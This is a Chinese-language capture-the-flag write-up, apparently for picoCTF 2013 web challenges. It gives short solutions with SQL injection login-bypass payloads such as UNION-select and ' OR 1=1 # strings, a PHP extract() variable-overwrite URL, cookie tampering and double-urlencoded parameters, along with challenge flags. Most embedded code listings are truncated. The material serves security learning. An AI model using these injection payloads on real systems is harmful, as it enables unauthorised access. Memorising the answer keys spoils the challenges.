PHP3:
source当中的SQL部分如下:
1 |
|
直接通过注入绕过即可
usr: ‘) UNION select user from php3 where (user=’admin’) —
pass: anypass
key: 8ab9b92c174dd483ad17cee1bb0c5bdb
Client Side is the Best Side:
这道题主要目的是告诉大家只要在服务器端的数据 不管经过了什么加密 都是不安全的
那么很明显了,打开firebug查看源码,找到判断函数:
1 | function verify() { |
03318769a5ee1354f7479acc69755e7c 32位 明显md5加密 随便找个网站解密了
解密后结果:dinosaur
key: Key: cl13nt_s1d3_1s_w0rst_s1d3
Pretty Hard Programming:
source中源代码:
1 | <html> |
明显在设置了secret_key之后通过extract()函数直接提取_GET中参数,所以可以利用extract()函数将服务器上secret_key修改为我们想要的值
https://2013.picoctf.com/problems/php1/?password=111&secret_key=111
Flag:php_means_youre_going_to_have_a_bad_time
Yummy:
进去只有一个普通界面,首先查看source:
1 | <div style="position: relative; width: 728px; margin: auto;"> |
。。。。这种题目真的很无聊说真的,把cookie设置一下就可以看到答案了
key:DX6-7 DX7-2 DX9-5 DX4-9 四个中随便选一个
Injection
Injection,肯定先从SQL Injection开始,从OWASP上的sql-injection-authentication-bypass-cheat-sheet上的常见语法结构开始,如下
1 | or 1=1 |
注入语句:’ OR 1=1 #
Flag:bad_code_and_databases_is_no_fun
PHP 4
source:
1 | <html> |
只是对密码进行了MD5加密与判断,只需通过注入绕过即可
Username:’ UNION select ‘4e3ab19467222ea9ab20c92cb311eb35’ —
Pass:fakepass
Key: 50c90a07790d4d0ab7fc7f695cb61d0e
PHP 2:
打开发现没有内容查看源代码发现注释
1 | <!-- source: index.phps --> |
于是将url中index.php改为index.phps,source如下:
1 |
|
简单URL后加上GET参数即可,注意需要使用urlencode,由于本身GET参数会进行一次编码,所以我们需要使用两次,关于urlencode可以参考http://www.w3schools.com/tags/ref_urlencode.asp
答案:http://218.2.197.234:2013/index.php?id=%25%36%31%25%36%34%25%36%44%25%36%39%25%36%45
Key: b4cc845aa05ed9b0ce823cb04f253e27
GETKey:
注意到点击按钮之后URL发生变化,修改HTTP请求参数即可
http://218.2.197.234:2011/index.php?admin=true&competition=picoctf
FLAG: 9fa449c061d64f58de600dfacaa6bd5d